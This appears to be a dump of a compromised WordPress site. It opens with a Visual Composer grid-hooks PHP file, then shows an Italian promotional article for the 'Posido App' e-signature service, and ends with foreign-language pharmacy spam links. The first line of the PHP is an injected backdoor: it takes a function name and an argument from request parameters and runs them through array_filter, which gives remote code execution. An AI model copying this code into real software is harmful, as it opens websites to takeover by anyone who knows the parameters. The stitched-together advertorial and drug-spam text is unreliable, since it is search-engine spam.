?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Posido App la tua firma digitale perfetta - Groupe-SLG

Groupe SLG

Posido App la tua firma digitale perfetta

Recrutement :

Posido App la tua firma digitale perfetta

Nel mondo frenetico di oggi, la gestione dei documenti è diventata una sfida quotidiana. Tra contratti, moduli, e accordi da firmare, il passato ci ha abituato a stampare, firmare a mano, scansionare e inviare. Un processo lento, pieno di intoppi e spesso frustrante. È qui che entra in gioco una soluzione pensata per semplificare la vita a professionisti e privati. La Posido App si propone come un alleato agile e sicuro per chi desidera abbandonare la carta e abbracciare il digitale senza compromessi. Per capire meglio come funziona e perché sta conquistando sempre più utenti, ho deciso di esplorarla a fondo. E se vuoi dare un’occhiata direttamente alla piattaforma, ti suggerisco di visitare posido1.it, dove trovi tutte le informazioni aggiornate.

Perché scegliere una firma elettronica avanzata

Non tutte le firme digitali sono uguali. Mentre una semplice scansione di una firma a mano può essere facilmente contestata, la firma elettronica avanzata (FEA) offre un livello di sicurezza e autenticità molto più elevato. La Posido App utilizza tecniche crittografiche per garantire che il documento non venga alterato dopo la sottoscrizione e che l’identità del firmatario sia verificata in modo univoco. Questo è fondamentale in ambiti come il diritto, la finanza o le risorse umane, dove ogni clausola ha un peso legale. Ma anche per un semplice contratto di affitto, avere una firma tracciabile e sicura fa la differenza. L’app trasforma il telefono in un ufficio portatile, permettendoti di firmare ovunque ti trovi, bastano pochi secondi e una connessione internet.

Come funziona Posido App: semplicità e trasparenza

L’approccio di Posido è lineare. Dopo aver scaricato l’applicazione e creato un account, ti viene fornita una chiave di firma personale, legata alla tua identità tramite un processo di verifica documentale. Questa chiave è unica per ogni utente e resta protetta sul dispositivo. Quando devi firmare un documento, l’app genera un codice QR o un link sicuro. Il firmatario lo apre, verifica la propria identità (ad esempio con un codice OTP o un selfie, a seconda del livello di sicurezza scelto) e appone la firma con un semplice tocco. Il documento finale include un sigillo digitale che certifica l’ora, la data e l’integrità del file. Nessun passaggio in più, nessuna seccatura.

Le caratteristiche che fanno la differenza

La forza di questa applicazione non sta solo nella sicurezza, ma anche nella flessibilità. Ecco alcuni aspetti che ho apprezzato particolarmente:

  • Multi-piattaforma: funziona su smartphone, tablet e computer, sincronizzando i documenti in cloud.
  • Riconoscimento legale: le firme create rispettano gli standard europei eIDAS, quindi hanno piena validità giuridica.
  • Archiviazione integrata: ogni documento firmato viene conservato in un registro cronologico, facile da consultare in futuro.
  • Notifiche intelligenti: quando qualcuno ti invia un documento da firmare, ricevi un alert immediato sullo schermo.
  • Supporto multilingua: l’interfaccia è disponibile in italiano e in altre lingue, utile per chi lavora con clienti esteri.

Tabella comparativa: metodi di firma a confronto

Per aiutarti a capire i vantaggi concreti, ecco una semplice comparazione tra la firma tradizionale cartacea, una firma digitale base (come una scansione) e quella offerta da Posido App.

Caratteristica Firma cartacea Scansione semplice Posido App (FEA)
Velocità di completamento Giorni (stampa, firma, spedizione) Ore (firma, scansione, invio) Minuti (tutto digitale)
Sicurezza anticontraffazione Bassa (firma falsificabile) Media (immagine modificabile) Alta (crittografia e sigillo)
Tracciabilità Nulla (dipende dalla ricevuta) Scarsa (nessun log automatico) Completa (registro audit)
Archiviazione fisica Armadi, spazio occupato Hard disk, disordine Cloud, organizzato e ricercabile

I numeri parlano chiaro: la differenza è abissale in termini di efficienza e sicurezza. La Posido App non solo risparmia tempo, ma aggiunge un livello di protezione che la carta non potrà mai offrire.

Domande frequenti su Posido App

Ecco alcune delle domande che gli utenti fanno più spesso:

  1. È necessario essere un professionista per usare Posido App? No, l’app è progettata sia per privati che per aziende. Chiunque abbia bisogno di firmare documenti in modo sicuro può utilizzarla.
  2. I documenti firmati con Posido sono riconosciuti dai tribunali? Sì, la firma elettronica avanzata soddisfa i requisiti del Regolamento eIDAS e ha piena validità legale in tutta l’Unione Europea.
  3. Cosa succede se perdo il telefono o cambio dispositivo? Le chiavi di firma sono recuperabili tramite un processo di re-verifica dell’identità. I documenti rimangono sempre accessibili dal cloud.
  4. Posso firmare documenti in gruppo o con più parti? Certo, l’app supporta flussi di firma multipli, permettendo a più persone di firmare lo stesso documento in sequenza o in parallelo.
  5. Esiste una versione gratuita? L’app offre una prova limitata per testare le funzionalità base. Per un uso professionale continuativo, è disponibile un abbonamento mensile o annuale.
  6. Quali formati di file supporta Posido? Accetta PDF, DOCX, ODT e molti altri formati comuni. Il formato finale di firma è sempre PDF/A, lo standard per l’archiviazione a lungo termine.

Il futuro della firma digitale

La transizione verso il digitale è inarrestabile, e la firma elettronica avanzata rappresenta uno dei tasselli fondamentali di questo cambiamento. Utilizzando Posido App, si abbandona la complessità della gestione cartacea senza rinunciare alla sicurezza. Che tu sia un libero professionista, un imprenditore o semplicemente una persona attenta alla privacy, questo strumento ti offre un controllo totale sui tuoi atti. L’app si presenta come una soluzione matura, pensata per chi cerca efficienza senza sacrificare la solidità giuridica. E se hai ancora dubbi, ti consiglio di provarla con un documento di prova: la semplicità d’uso ti convincerà in pochi minuti.

Comprar Priligy sin receta Acheter Cytotec Köpa viagra på nätet Comprar Cialis generico España Køb Viagra Köpa Cialis på nätet Sverige Köpa viagra Sverige Comprar levitra por internet generico